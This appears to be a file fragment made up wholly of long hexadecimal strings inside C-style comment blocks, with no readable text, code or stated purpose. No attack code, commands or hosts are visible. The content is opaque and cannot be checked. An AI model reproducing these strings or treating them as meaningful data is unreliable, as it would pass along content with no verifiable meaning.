4f506e1fef7b96d28b8f491d59dc39e0544b056dc801c50a451454a29bb4f9996dc1d0e3aee3a77abc9e0374c1a136d3b64138c1433119ba048bb6ac26669d0ad598803e015e82c7b1256e087cc23d203899a6af1bdec4912150dd5b5dd0f5f827ed7e0b06617b865fe009cc766cc5b6206b872905e715093e0d3f7fd1c855b56302a86ca138edfca7bc5442887e919ee150a50bbbe88412db906a3c013c2794595859929044502701ac85b1d5a095ab37f479f00665c4d543ebe186793ddde730f771ab8ac659d204e9bfbd30b73146c30d2d27f5737aa181ae7fd6ffaff539edb8b4f1f1d4624a0df4c066dd7379b007dd13775fc4b057cc9279a7633e2b843a76980cb23956df628f3c8690cd9750b7b48e0fa66506426b8b85a508dd1150345af93ade973712f422c33b903a7cc38aae42535dbe41121d32aa2aa18bda0937cdd6f379636946108ae3da834309bdc0ab9e3a895abbf1ab5f7bec835c5fe6a6b2292a68cc1c92555496c1535f26264f0d7a1fdebc71f9f0f7ae24d34b0a84b62e7af43cb8b5bd62cc12a61bcd89d6353db44647f772ad8ad3a5841890ce80efb865ddbb754fbfd1f3171e04dc2967b07758ab1e018832676854dfd5d54d5affffc45fc9dec85930d2ad429074588b083909c2eb34efa5326865635f23d441fb7249a58decda590bc999b58f45e588dcef89*/
/*0391e98169119b2e5e501d42e959667b8f34b1e73360a4ad3cbe639f896e7e8d48b2762861dffd35fffce6b7baed536dbf5365a12ef6642617c5417212629f22265dcf1d704973895a0171ba10e4ae63fbe9dfb049c5ae730a57765827e1d8b92393666f1e7aedfe01de4f31e204a2bf2751e0c092c5acf7c176a034137cbb3d19e362750b546b9b182ffe2719005f52a5dd6fa10e1b8c3e2dc5da79c82708bcf3b2dcd95eefbe01cb1fa132ce9eadd66e7e60603da49bc62f6fffaf430629a146bb7eada6b249f8a5ddc3a15444fa52e2c0a21434c6b65c08912b7ea58fa707ee925678ebd3527be42a13e4dd6ede55b078fcc867dc4d663a487c4f60565d692d5b3efd63bfc0409aed534d3aeb4fe19a9637b6a8d299ed30106156e1a5ca2a02447c004122f625b0b75d3a7b9ae5c3ea1f34586bbd5feee101d822237666a357fdb72d2ae3c1a4ea9b332a76e46fe259a1a3a98cf67ca986535f1d4fcc2086251e1d51e300930f1ba2075e3ef4fde64d30cda75ac0f09d35a20b2e604f69f4f839f587e7b4caf001ba2623401b0835fa1e0105176d1a3163876186f8df6dace3b266b0a9c6801a8febe5d11b469498c43265303f52aed89476bf4ca3e765a8c4f1d55e31c9192a88eda791ebb92a425e1978b44eb0e19e352461cde9d049fb08017f38b9f94c67a274af585b52c1d3071302b0e1636a9bf2d4e331e4818e71925edb746b3f49295bdecb8cd24b5d735a967aff866895e1e6f4e151a2537bae2b38ae33aa198503c3fffb0004601bf5137a6e5557a1419885f2aa27ba6266ff22d68d57d91be9b81fbaa229d720aad1f5165be761011188c1211b771ce7ba47f1e1d142ad32110991282abb30eb378e0eba1a66157fb66f640d58c7faa46207643e771b1fec70dd9db19aeb3036b0d7476e8047294df93aff58bc6afe86ddb4d21038ff4513312b3763a186e9f33e8397e8b255c0958bbf892a668e86dd934ebd89b8ddc5141a0deb0d4d305633c37fc5571160224347afb97891b32bc421c793ef9a50711b94739d499324863aaf04f1780e0879097c50baf1d52415319580133e904dd96c6562575f00f767a976138a36080b84fc4f0ffc21865e8b4dfe2474230f9ce74a3add9cf36679ecbeb5d5188f8562ca8f768ecb53582ab55401f40f3dceeab441f44ebaaa8e5fb15d27ed135c44cfb41052e3af4ffd209d33d1680cb8b6848a7a1e4f18a9d6abdd350ef12e0a1796c4c3537af62ba4683daa8a5fe70e4b562783288737011ade787bacc10e2c2d418d5227449a4e4c0454e7bc4141bfc08af005da379d68039cbfe0e3edf5aee6168eb020de5e78a52fd58fe0f71f129615c1000c37e79a780b4d621469edbf4d25477cf93b471c608429e1108e1fcdb7e79342446c4162d40c01efd8d9a631f10043fb959be9d831e46cfd27ad885ee85e7635245338f40572e87b94564629548f8a8da82ddc0dd778f54eb9c6e2d852eba8e72a662b24395fb3da384bc4147a8b139d3e9412e669a9de1538e2311ade4500955bba4bffb169395d217a9807283073e0af2247dc969b680141ba30eb4175d4037c0748ce5ebac824657fa4d75f4260f3e9e709eb744a5304307026914c58b92b903e9f509f3f69317165f2d535d890b399dfe0b11d4bb0ee5288c9d6eeb1c7a080eabec8bba3628a8e5f26a5e00adda45b86197413e5bff47078da94ad0a33a84696bc16c79108d7bf8cd42e226a5ce69fe45a8c434dda3f3f8e86906cefadeab50d6338a954f8fdf92691cd702b314616397fd7a1210f6d368e23f602e3c8fe2a631220879eb820d08825e2eb5f5a3dce21cc1cae8b75c32d3c949d016aeb1b0f03144fd878ea655384896b0e0053491ba1348e7d658131dd628ec3de0497c3be44faf85e8ef4a8e1689dad43f74d837454c2e84e8286cc28b216e22a955156dbc4f7f38af8f7d5def48c482a4b78238570f767926989cf633c8de3bee1195bcceecad9c3a4c0ef98cd65f55a45f508defe0ab105893d20dd212ac3e312006149ab50d2726926e9ef4306a913e1ad4d039e7adf9adc666f98a3d814476adf49088cd90487c2f3ce30197f69a1e7d4e5c89c51d1f1d76a7ae313beecde6d4582abdf495fb7dfdda635971725def9c288a4b196cbc04c182d784c6280861d15efb6be67e91480881b4ff051c49879545ff48d259fe3678e7d7a34049cfac71086d5b382e29c29f6e4a177276782bfc0d2f472601355be1e8ec99a69b5cafbfe94b363f4d6e762744fa58f3142b6cd7082f28f604943792370889744ff82899c8a5905384d69f39d6c3703e0cb98ac3ae2e0aada420ff0cc315a9140a418358a4ac5e76cb1b9f841dd351135f61850b073ba94981db45205c434c6295457a30af140444864c1adec2e618bf3fefe20b74fa4362c227cdf4c69f0e8b0cf7085d37b31d99e801b40653335ffd4db12c09f8449beec46750c8bffa66540fb329f05fefc6fe5372a5d0d3a8740b56b05569c1917fa8179b0579baa8b6697dbf088e484ddb1f8604bb9bbccef68b3751e18c31593579b222a2083590429158ee0f08f951f8d266d3dd49e1acffdc0bfd5662c3af349fe387f34aaa84db03d2a0b6a374ee7aca6b362eb0642c58f66a5aeaeac6e38459b946427f726db543f973e842df32a967da6612212682caeb7c3fee5e41a0cf0e156d0073ed39579c2d315fd1684ecfe09f098272ad970bfd9570070eefedc70cdfcdbe77327b0790353ff1491cd92ee6a969adb9ce108a4ecaa0cdaa087bdc299899598ecc0bdea93aac849fc62106c0b580372f6952f9b*/
/*abb509fdacabc419a7cda95d4432bb70923052469a2368edaafcb089805984cc545aa92ca223f37c5d6a0961d0aea6465be19e06c5686762726996857157e5adcb61b6894c1efbeea9df913be9ba3ebcefed056040104200c01ed88e2b2fef3038cba3657a9ac2d4e9cd4c5153d0a595f675ea211fabde0c90370ce1bee2871ea9422c1b176af254f2849cb55d80e998b35cbfeab0916d77ce9c041bc5202eb74857c3079ac8cff3aab2a5753daa5ecc1ceed4a62a1e189a35866e787682326ec780801e13902e9f56c2a5756f07fb45ffa00a64660335167922ab38ea2c79437c6c1ecc9a109c72b8cd6e2f9b22b414737d5993442753d14cb18f52485afdf5e61ab89b50f4bcef72ffb21f99e60524d3342abbcb06a5212888aa04cf2fd12daafd405001ca7199b4986dffd3d592f3556c1dea12c9696db4851e345d5ac4d9568f6cc023f539d7588d4f40f1b981811f9008fb8a556de178fb50fe20dd497f7b5b5a50553fded43f185a4116ba458f1ab0b766677ce3aa4fc8f7f528db07fbe53cb44cddb81a3388149937658a18dd088bb231dc77f0b074f2e2622943646c25ebfb87123a635e4d217a8139e06bb57510348844e1c9de7efd53c5d970a014ca56e4280b6d8b9940e51d9939b270d01735915db2318a617cb57b4a003522cf8c529fe8553713bf0464f1e97ce4b067572d97feabd8ec727d6ea04d2eb2167f4066a910076db46606045ede5e81d2909b69611a8bc1f095f7aeb7201359132cc71e1b8c30f8248d3f17f0a6d84e533ddf9a2318c60e6e7c0cf61a7ef3532e9431ec9670304ddb7e1c9f404705c54088a41abf2a0464cbce794799082c91aee3a948332f4659a45ece34b099cddcac5bd4fc47c25144e25f9152c0c0490c98b3a7d98c1c4d460743b72e3eb123ad3e21e28a744d5f66ee59708654995213fce74753bc0cb12682d3801e9397a4bb8233faf1fc8b56ca95d8c0351184f6d45e7026166142c5ed0b8c6efa1f9f0020fdea3119746877728811bcdf3da7b9f9f2ce1e4f872bbf20d6518c4b0884151a15256193eac54ff925f069f51ae891b7a881cf413e3014e395df9f5c936fe38aa5fb9c92588b77bf0256381232845ed723728902352a700ebc721612dfe80ef828d9fab1fbbe113741d786802484beeb1142a5de92c9ec1ea95d86dc22ad9644b3716fe71a743a968421ab3b7567c5c5e8ff0223801729e9396f5a475cf74b7af91b308da3d460669ff32308c96890eeec00d5240e6f048eff8331b559eb2c8f353696f958cba520a4ed5f865600f475f93a5c5980d66fdf5d90c3faf7e5190420e94c1a3e3bfa24562695571f673600a60b1e3db56143d06d109d1419d2f9bbd02d00fd537458211aaa8987bf355c02d6cd15a246f24fe94ed4e14bf79037e30851aefefe60ed20006a7818c04f096106f226c1ede064f11642cf79f9c471369a76a0829d954bfa8f2601500c0cec533eda46ea81f6f23362382e863e177f74dafcbe9bd2070e733cac19b0d3fdc22167f10d4b555ca883c46b5e3a2f3d0e10aeacd7288862470920b393ff5495a22eb292f656c249a4d4d8a23e08c29cbb5c3ecd3ed2b8eec17107799fd1d211542093cf6f79f4c908b310cb88e3f6d961eccfe834ca61e049b8058bb83b7a4f092f6bf77ebbfa2b19a8fe3328556dab229a76e6a3f25638c23d3d6703c8b2404f12c12f067bb433797e40cdde7341493898ea454742b921c3cee5c979d65b37c350cf189237b6f961ad0730982dcb353c6c77fb78487860ce80d19a21800c705e07c55fc3a81d02f1cf15dda4b2b3376a98497ddf904de9cc6982993e2ee08ece96d73abb6d16402d3453a70b7b643c2678744530a955055b959ebd449f86e8ba7f2a3cb97167cacf1d7f77e09794a7f5666d678ae8c26ee03c729867564835383f0e7b1e207041a0013daca910b3d8afb47b1510e4b95599c36053f9362d0133dee9b8ed0efda1a7094a74be18327f9574803bd7f9f7cc4047e62443ff68de82c449b82dfacc75255ef3e757310a8bea91faa3320e823256d86f26b8aad9c2f0a1baa674f215d2f0ef0892aaf87dfeff9f6c9365d677b97483f399996d82bf437256f78d4636c6fffe0940adc075b67cbd52a37706df85c5917258f01da3dea5f16cf753fda056ac154d428aefb284f97fbd63cc4949d7a2e78f496a68155ad09a0098899a2b5f84adc4c0426e3acdfe42d8f0666beae05a7334519fbbbd16fe6a291e68f7822d839a9ef2fad1f0d842a1039bb1666e3e1c4a79515c1505e2b8500d536a5851a5cc33de8797a17e1163b2fe7c1fa35c1dcf4b523b67b7b48d9be0726cd800206129986ec6ff998e8247f3ef314be54499a31affd45a354d592aa062e0c4c3db3b6fb9c3b41aa671d41d48a6dbb893d9f2843ea137eae90422891cf3df73169ac2923773c2382c1476158dec000195abb96d16c778d55391f1f34d17a239af6a70dd1fe89f160242ad2f7710a482aaa3c33f8f623b5b681fbaadae6f86c5fb7ab7e3dd05389f4e1e966fd9b405d7f03e9e7dbddd38a4ee85b7e01e3f1fff9d0c619a6adab899cac8a416beaa0d8e9c7a12a97c4423db8b98fd0a008a478e3f306630a57da44e677d3154808b8ca8aa7b6ed654cd3a6c14ec8a90eb6abd0500f9364d7a69d02315156f08ea61d0c73656eca0001b910822bf5f423a19d8a923d58830b83e82ab041244f2a90cc8649c21327cd6bf3b82905fee7bf6f82abcebb907af2c7f16874631e869f0b77afb7ad5ab95f54c3702aa846eeb1ab5b882917d6c7086a1f2a68512071d74ed88*/
/*aa9d2401af129b73c7a584a96b9d4c3e1a4c321c405c1179225f88c9ced859b63d638621c237e99b9fc81cdd4017b0be99614aca8520d8c80dfc3caf9d391c78a13bca16927075ccc215a973f34ff36394c1855a306c16f1ac2641a61a259aaa2d54b0a79d46a15b117064b31b08501894979f5816441cf27d19f8cb65ef378bd30e112a9027bf88bf043c500ca81366d618e103f3728a7db324d37e6bc64b8aea23fcfc9bac2436e37f9b51b6e175e2acd31e30e2b49accbe121a04f6c0ebfd3447eb7d3c75e6a5ef240ed26ef2bd4c9a56c21fea941ab91dfc002e6185eb0fe88b17a6032b22493d6f2f1d92a93250fca700fea76fd7f1126c6ae2e43d9371abe9f43780a6a6522ac509c4d0d1292198eb73045801099054b8b07be53f7be4af58ecb04704a7a0675bc9ba34d053c1caec6df95184e08a5c10165b0f56e1d42408125835e99dbc606efba311fee9556e4e0712180d9b6d0575da8cd422b2c98ab2f2686601763bcc92eefefaabca2f2010b3c309b00d1d508d4166e9cbe8aed65cafce8efd02d2263ea586e2be68b54512253b6088008431aa120dda34722f59633332d5d8f7514182660da877cbf37f02334e86221813799900dfd1f9c800d93b6e4a789d4c2c1625a54cecbd0d6874512082456da0ed1bfafa1cfbaafb27959af4c0a51caa9ebdffa52709dc5bd9775ec653bf7e930ffc9af4c8811ee4fe75b1001e2c3a8445f92f30b400ce7ef0e2ba34741e03f0ce8dcda6b92876781b14e44b9d6a4512a9554045769d3c7462f63b19a1d85eaec1469a33af82eb97a375994395746850b12306cfe314eea7eda642f4627a17f4daafb9476d80a6b9bd362acc819419b6b9847cf094496bb32191e18e5b0da588e422afdeee1eece89abea3fbb3136897a7a659e13f1f6b4555bc2baa918a0c426d8f81439d5dbb76723e9c310a9b2210847bc6da84201a8f62d68a6965b45764e89ebc15f19e3ebf3124535492105d4cfba9dc5dcf00dca44f2bccbf88820b7806afb7228c611df1cd5d6c0325eff15485abbf965b8382d5bd155ff303a932107f0ecf00e648909311431a24781e99ff7f5803db07eb8350aefb634123929fc3094c10acf2ee7e4a504fac63c68bb26b316f7da881d469b1792141514503820cd66143636c8d2e1523de500d664154bbe615c005b6d10b3f08bed66fb29b3932e09c50928fd97518e5d898011eb0e663049490d901fa0e9e92e20f4620455b36f140942d0c4f89818639c222778ec6d6c24dbe78bddb2c6c0b7b0ed3a8eb48ad55ac4646011755a59686558a27eab4770b22dce3a3769de26bc7625658302ad2d02bd04593958fb64e555a5b0decc0baedce64f852ddae4d2e5757c5a8a0c0597e74cbbc8251d19876f2c6e37c0224b5485241557a48a84277d5b1d2fcfa0d5de2f01810988f8262b885924588eb4444126b1ab306653e7cd7f6dadbb1a8c179ae779f91b27fb42a98a0c47d6c1b1dce6eecbf5890ee9feba955fbb8da68be1b0c8ed88175e0cbca41d958e9391a5d9be092c1c39931664406a1e7ac889ada68e2f428418f0b5bd359bbfe22bc83d61ccdfc08c81a91d187958b2106cbd9658f8468fb7a3236b991dcf7885190a7ee823ca78fd855bc9cef79843ff229e807bc5f9b244dec59d0f3daae0fda50f2b3abfc30a991a476e99b3116b5ed324882d7b23c9f1396a152acd97d79bd344b835e27b8dfa25803d0738d44142eee8d260f1b138ea6da586d7241549729e0537e1650068f6c11e4a446b0225aed6642653f71d764d0fffcf3ec1f87c209c51e1884dfa0501410852fc56ab186e9625398a825f2a0cf74701d1b1d6af7c456c0d2cfb2eb830d2d4f4e2cc7964b4b8dbb71a6da62fc09a812292aa9e9a867ef2566fd0f329450ba427bfc6ff0f0f731a2df2c02330699f0906717fdd1534f9b6e232fd639199e2b0bd195282423637f3baedac64007bb6a3847978e6b1fc054f54799e83e3b1eb2c6c1606bd7f5dfe37d808447a0761196b269299530ccc473f91d4ccdb23b64274a89d3a1f3405b67ae3a1c10ba0cb6a38267afc098604930a0e50faa80f72057611353cfc20def9d261ae792d59bb21dcce37ac7543819b15563e23f3243eef4d1994014526d646d2c89b2377a6dfcc2a8a5a754ae863a21af648488f2ede6dbc3f234aadeb8055a1c15e0da1e8acaac52fb880b6f8befeac511b622246572708896f2aae312bde4a1c6cbc731024213ace443187d8d4e129124add3b55acc65f32155a26770b03f4aa831acb71bd9100730990bea38099cfc762ea26d42a34c63b07441b3e87373329f5341686816ec052d125b8d4550d1d03957daa9b9e324a7ed47098027705cec37656c4a3a0aee456f3606c7924320a9406a402088325a16ed13d0cf15d070d4fdc5fa6a9536edcbdb9060aa8d3bcf1c0fd90e8722653b99771b5e43d82dd19f0a14c045aab47772d00dfed08c9db3e3d5482d677b12c0ac37bc980f7c0caf0b7228581e2b50795de0075eeb2ae24a2920ed29f4bb82c5545074a562e9b26e6306c4957f320fefe3438aae8fea121744cd3424b349b6047ea5c8075faeb058262b28ac97e9bb8aa023d323d30bf204ff289bd6f2de99f4427332591b7c97ed74c6ac630c25d9479e3cb220eb2aa31b683ff4dd403c168e97852cee38353e69352e9aceb08891a10c14509aacd9950faa88af0bf813775cfb5d83de8edf0c6d935f168bbad1cf311886a39416480d697f9e3d6a995a9325c3fa23df24dda705b6ca73ebc8f097e7a2a28481ab0e2777df3431484b907d9c9ac67bc9*/
/*623d916d4dc830a77ef5a9acc3f438d8541a865a9fa054335e00df4749ff8f1f843d6c81f08fd4b8fe8f0f50743f4b9b5c0df41a11f92d54ea5a84c3e45ab57c439d23bd0003e9503b26a4fb4c12c4d8864eec27c4c6a4518bec93f56d018a02b018fb61f3308430d03f7f57d239a5f77aa979c1caa00aefcef5b5802ce79661e398656ad3fc4a37f982762fd8a8666622deab35e169b24f2216abb766cf36e51a3f6c0870a9e96c643fe0bdb5c58b1c8e52e3ea356febbc7a0d6b435d3a67f4694a1e2d08f108b9474bbdbad467a69667d8f551981adb520645f7a87ec714751ed4674394cf5fadaa07381879a4372aee73d29a3f06c559abe96aff9e70e4c8ee38ec8ee31f5088b98beae8faed12f5b206d0c845e0861bdaf249753a72cdc20b987c32ba2f61017d63bb6cb4487ac918fdbfa58b7df923f3456c2b4eb1a77a1c89510e5529794c17a81748e018cfe57dce97ae033a2d446f2335fa43544351e0f70bc0a99e00c64bdcedbb23fc52d20e70ea2f9bfd287518eb28262c93d842ed89d85c195adddc6ba5e5b3889e4b47d5e601636ff5b95b5c5450275fc45362ef1d87b4b390fd67bc9a3370fbd9170ddd1bcb6ec3882058e6af358dc28ea61e6e73d25ccfe208bcc13eb1e5ea03ed545beb7acaeb52421dd8b74ce842a6f2e32102d0c48afcdc3d480d935a0e376dfc7a00ef52cd06ce6cb7dad9832926d72602223e952c79f840c456ed96f938bd875371d515893454bda19fe00246a321bcc58dcabec8a17415ae5bab338497f760307a7ed65ed28892cc20a79eee8c71035b6bffda2549839cf4b0ae2a7d1bfa12cd2984466ad096bb42deeb4488200ad235056a114939e95bc7e4e9ac80b7257cd9613c1882e89f7d11ff1a4012fcf6794fd560156ff9d60b3c3b3e1aa0bfb52ba8b424ece85d66e89e4411a019d84286a60501f18453cc7cb9725591da55488a84f98445928f193a244a7245a7ab119eec1e81bc60a35cc2837ba99721832e8b3b800a1d6db6bfc3e33cdc57a9a90fc0b2107ff43c692ed7b82d0170a4c70f3ece3bf1aeb0ae6d1375c00f93a5cc4217556af11ef8957f69634de251b249a345f62810d197d7b7ce6b5ee76ee036bce8690a90f1026d02fcad6e8a3f3d96ba565bde4448960ea38ccf566c1a1784ad3c6900ed697ab27258a0f50f581ef0bb4330cfa9f30aca6ee2cf4fd9dce339d7fc0f58f77b9da4685e5860d46cb7968bd655db4bc56ace47c2f7462eabafd031a9dbd99a5ac9635453118d5c77110a6ac94f829470def4f1825a031df4152df81c681df030fc27572137b35120b80e80411cdb7d0c083db1bc6679e02189effc5d4ab339f375d8547ae02919dea8165c03c20a257b3dca7bf59e6bb916965187604b1f62aa41ff1b5bd8c8a8b2edd2dd1a800f9284e1e257a00105fa9c0d0bca7a2073767f5adc6def077719585333f005503908fc20a2c02b9001e69c1cb2a824bfafa2061a027d84b327dbce070d33acb49fc612f04b28db27772b82ed073a979dc3c2d7e531a22f7a9cf76f570a3c3c2348b5875ab57936d3195d8c69fa016918769f15fe68397ac490cd397357b5a6b9dff778311101fe2281961febfd157bea4750e54c65a4f083bcd43944d32d7bd4fb2343865edf993896eb480625b763c6a905a5567e9dd8482842c22896fc4211182ef35a99097bf48905cba6cb9c08f7c92481d0e4b20c3c733f72f4f33fc1e5d7c14ef899d360a6b34fd5c743637e3e6704944f2e632d70a94d8d71959b8fbffc69d38d89cc8d1bda1f297359866aa46b4b438a0eb6458dbc1951889e986b524ec55b16281521300205c9ccd5b6fecc0a3b067c64ec33508a2ddd1d8bc84e4cbdcd3aa088979d7817586aa202cf20123112e1ac76c0778e29f72a95a25ae369bc108428786c5cbd6fba760ffc2d2e9364e117e4d2a932e1ee9c2926f40399ed4911278ddfe37837c707073b1dd07b4348080b77e6e30e520e50d7013cc52cb4c748009c8d68b1e55e2f33e86f4502edd57fbdc1cd9c4694df7fef9fb547b7afebb085057b89be44f937809537ca07c0ec0d8c3ef76b5abb6222649fa44375b318e9e9eac89173898b880f85d53bac2f76a04c5771555cd8df50646d9176df4a96e43f39dbd844a16141ca23ffb319eccdb486963d368ed17f290d0062855bab13ad5389ae81cc9023324ebbf1102f3eede087528716f1b9cd0834c50ec62c4fce2eff9a800966667218f09f3fd77da6ca298a2bb9e9d49b700aa0f42b1acb0ecbaa78be1adfff0e5f641b174a17f40986e9581557ad3eaf934f37a1f99289997b64905b71da4b4fe611f67df2949b225d8faad5121af863d686d3c0d3a9113394815c4334dc830fba921ee2d4d380fbdfe28be805efa2400bf9d450e8d5b3cbaeb67d710f444d149b6c7cd12da6d1aa0afd21f20e8fc63ad0275c452eb1d5c59d3b8f10af9aa347746b91a42a4a30c320f38f05d57a3297958f0b624a2a0bca9f86b4284fab8ef26a47b2085286bc9920ed0b1f428d9e478d93f9f11b7cdadbcedcb46c339d52c03142432c45b8c97eacc1108a7d8b8550af65a83a0342e6d01aa005a7ae63455d51e3941f6454e77899f623f45d2a5008b283b8b4f79711642199982a3d0816260d5804b87cff975c2c3c89d478fc12848470a26d8eff3bce8b7a554d3a38f7abc73e460a913040699633b397004ea7cee15070bd8376e3003491c298924b12026e7bea73d5975ada9214644b8e84a80a9753dd06d777d3818fdf7ae87562d079b1f9d0defc227341cee760856813ba7a13b00a93241332*/
/*4de27aead4e7b148d3233967cbe3ee5273e27a67b912db5a1bd34e2091a02c3b73b2690e7ffcde760054e7850f26714c796f3bbfddb86615716075706bbe04a89ac64c0532c77ef32060e43a21636851fbf58530080045689839947588e217d7d40cb25587e4e8e6a192b377d338156e65c50b3f479bd34ba6fa94d0876bc72ab2540048199084e85727e444a7ce5e79655ce8c0b5105504107ed46583b315b186207c34061d63b914813a95357792d2f465d87f28580cdd21e000fb97e846e2169445e4cf740bfe5f2a916164d2b8a8ad4e3ed4fba08f7cfb1361ba4019523c57a59c1c8d2fe9b8119e6d1981c753d1d66310cbae67df1dc651ce82c6f34a9dbf4cc31eb836ff2afbcb1592971990b8d1f70e05d2e244afad7e80c32b7b4fcb7086724a7e897fed56f4c4626956cc89c15fa9dffb457972e09b9ddf12fffaf521cefc2299eb82ef31b8a96380f53dc473b7edd04a53f735439ae3c7f8ed97f566f8eb6dc1aae12a94e86f69c2f4bc6b1deef47687eb7a82a735f1d3f3384e167e671bbfc4711404e73ab8a76041019e7e858e8c2f3635bbbfc124a689cbfd65a6f1e98a753be2fb68acedf2d8c56a1192e2f5ba780fc164d8c500c20d1b2419175d55750f2d432fe9c91a43bee4a0d3329113526316687bb6c264050dd56f9869d338e946f6213a5e89e18f5a688a821d44449ba3d973e22de9169b274b8922896b84b8e3cdedd141c8cf7f59355b4ea19b0583539cf349845fb0877bb28704d965c889a6ef7f0a32de5a4858ab393aed7c9d594576f06d96eb9262cc821bf157d24c9edec3217267c278078e210b7bb779961e24c5d1336f725d0c0da3b4d7a543536763fd79a884902ffd80ffafdc9a2417785b0e8a9fc07b249a5602441e610c8631965ae4e8d31cd7b25e56fd00032a5ddee49b44f09216e23ac518c628c0f5605c11059744fa4a9e1e65a8be918889b4a7f503ffec2a77acbef150671488bac24e8f8379d2853855c8b3fe04d1c215e4592ca0ba486d1659ad4a4e5b0434593aedb62b1bdb65ea407100c9b7b6f0596d36ebc942ca8ec16a94c4cf4b81734f74e4fe968d03c4dc366f0ecbdd00c66a7d14d37f12d1142fe10b9980bb21ed223daa36930a978bdaa4a9f6064b91abbb727526a910ada4df17dbcae558f87b0373e8f307383529b02cadc5cb2a583c8b35ca832ed7f4694a7538934aef692fdd422cf31bb3724b6cd2063beed91f38d66b1df63a1c19d356ea1e0e7742fc878bed1ef28cc440ccfbd74bb90c8619dffd541d11865f6a4a956021aa52b22979cca339c18c82daf0bb8c052d5cb547a56352bf79b7f8d51611d5af7b3b562f847baea943b759928017a959351161da1c3478b7bd738324a87f11458af53d247c84316ec13e875f6d8b1fc931b18ab56404a874885e5cd775eb5a11e219e361cc540431b889c39e0c1a42a5ac2a7e4c8aa87b2b34baee75d4219bc8245a948b628483c1bec8c00692345f81dfb3308204b96a5075073b5edac7116d55762625bbc04e44f728f07e6b0027f7bdfa327f0e7e7c122fa44ac23fcd880e0563c60f769ce9a12d7fc99f2e5c2d0282256490adf69dc78f97cb9e3d61d5c92ed473569b4067c12f6e8787b4a0f340d0366e2d00fea1e871f34be1041b92259b0705c3a8e99067f5fbd8244659f802aa3b34358829f16c1ca27ba6d36c6b09cafbf39e2a2b315615f3190c385df77e6de1177dca94e57e249e416c3f01059ec2135ad0823d3536ca12b42fbd2469449b1dca37071f46f6707b8e6820d0b99a8f7551e8404d28c0ed88e0f0440274242891857618621b7737233ea75c65091ea7a02aa0b47a6374d578474ab577adb29a5299d36426f9ad6fc7f86ab3b728acb92e5dd29468e2497a5babe7b1325c9fb0789fc7dd1617c6640fd285d93457f951a2fd7920b6b4099a2b79c45ba58b03c18553bc72de0427588eb5dfed6e2b0f347a7202d22b02152c74dd84dab4dacfc7d734876c64206c58e9708713ae770b0883ffbdc7e9231fa7c0446b1ac65087c6dbf295c61fb8e3397ed404479a84e686d0a3996b0703243d3b0a5c6d669cc013c86ca81897b3e8ffd7ae662211ee212e6161accb22d3d1424998cca945243d536183664f0c12edcf707a524210690fb3e7fcb3b1c7da24406140521cbabe4125d45aea3a24919860a81d5c2090b3987638178f43e5176a1c662c9516f66a62f6ac150e31136e94aced751c5c78a802c944f87ea3c25754fc541712bb8c3c87f1f40d7434bc0b3ae1a74b013ab9dd5869846e506ba12274852923010fb53cc54ed7656e1094e2a267e36e4b1b28d3ff14c42c0a92cabe7e0f7a4e7b24ccadf1da4dd9aaeb5ac30252d5630af709c8c69b70957584c3cf53a682779790409b05d09fc39368a023649ee57860d75b095cb56635a214821ba97227163b61719dabaedc2dc6fb34c03003fc5298056c0e48e805576af27a6d5c84f37de9c424f779944f2c34687eefbfa477ed49d18cb261e296c797b9b59b1258a139557c584077e7fa16fc05e4dede1cc74a6f1da396d3ffbffeef356f255e5a63c2a74c7a8ac997889b53fbeebacc2c099eda62aefc9e7d6d01009f662b70443966953a47f24aabab3bd3703cdcdcae34367168dd06882d28924c735a531aae0a921dfd0e86fbb650ab78af366160e1e7f0811b6ac70d736522850e5c7f870df7dcf8c7ab26f074ae59fc9e83f4a6398ee426907543d91a1bf056064b10e318a5a9d02275fb5205f35a25fd29e94e1f521e422f01143731b01f79be39b42def7db2e384a434e113f164ef*/
/*cfe2bdbc2577784ad6ee8a5f64990618933319548757b6956594385d566c170d8721ff8500d23e0b53605875a7a4139c9945fe5acf5d44753a3fcd9429ef4f0f7adc0c9ef7aaf6a3dfebcd300013f6498685ca38418bf1ede77c101f02a6d208d569c59202988b6e1ceb75221bea5a608ede896f8b6deedb24db3a27345ff064c4317999ef2acc96870135d6c9cadff6e6090dc607bf1ec25dce051316abd9ffca5d8cb897a9af3c669e20e1ccb5bd6564c44ecef6ff4deeacdfe113c6e1f14cae191f919a81a0039fd11e43c643c6f8a605aa06ae368bc1fe6d3a931961337ccd23eaedce65c4b170771ff14909b2db5a35a491da7fca466ddfa7fdbf08ce3efc403a43730b23bd01cb7cb8d8732efcb4eccf6d5acb77edcc33f70b4aafc2c4fa954c8f694dc6614762d457f520a19be41b9cd0418ecd3970288db6ed451d2a5df1b7b19a7fc4fdd1208ec91ee3219502c250ce66a32e3e36c895844f66cd94de4b6b8e86179fee203a79cf744072b17061b1aab1c4efe8538279203428228d0e53eea2ed465fe99bb538f76ee373cb2afc1bb18ddda1799f5998822ad91d4b5f4078afdbf9da9f1b14acddc202313cd54cda23e144e5309097b909c8cdd7461215ff66991379fd92821e7f513effbe13c276058b841ad995fef15680abc88682e8b025b5e37847b03078332fef5bef332a2c5916acb8f52169607912e3464bd006a560929c9193faefcc54b872bc8381c89f8d9dfbabed3391badeffa793fa7f87e9fc8cdeea275cd748605c0e0c39d91db42206ff6f0ca218f26656eaeb260933b87ec0b645492e98b51987d9f92db38dd2007b463c59b1b5cc0e69548d24c16c576b31811c4edb59fc83ca75e32361b00eb1cdb5e0ce281202ba7f9b8cd3f081ae10e1897952801ba2aebd48e79d4c52e1cbc45b79e26e08f1492c6fb81f5f108213bb45f2bd896e756a2be07de60ca0ecc8d8053a6c7b4f540af4de80e9b6a84cf109fc499e55d09d000995187c86b1afb7e2c9693883e03c7306e9bc2e5c5b2a902c99b683e56d60f17da2909fbbb9a64fd78963eb9ad897d3a00735113b3619d0874499c198896e6ffc4888ae8995261cc8755ba61afead732807b96077b300157edb340909f09dcb1bf34eb2ec317a3dce618da4ab3da8ce5a825b652a901924ccb59588fcf76bc2fb06e4e31e122386034371fd47fb208e83ff408d23aedd128ec658400e48cb2c056274dfe5ecfe16f37b97e03062b10980deff03cb8d70dca70fa12bca26b503c703015a4e1f86050a4f84603b1b5067ccc24c2879efa30d35812f98b1626ec541b14e72313bd2ed1cc12410198e057b7cf25ad6ec34b676a13ab09f610c42e1be6926f37f4fdc2153b4d91fd1b2dbd65c83e446be69f4717334bce43943031a611dfa7ba981234ff5d11989cefaa24c4b5c948a37a7c2fd95b78a80b0a642a8ad6df6a0cb2b629bb29d2e455279df7828071e5431978b11300384c8073ecf347b072e5f4d0e765a59777704da9565046b26dc20b92e6c4fe3dd1d374b21f27005073d3d79f4038c2f6768d7b76c460039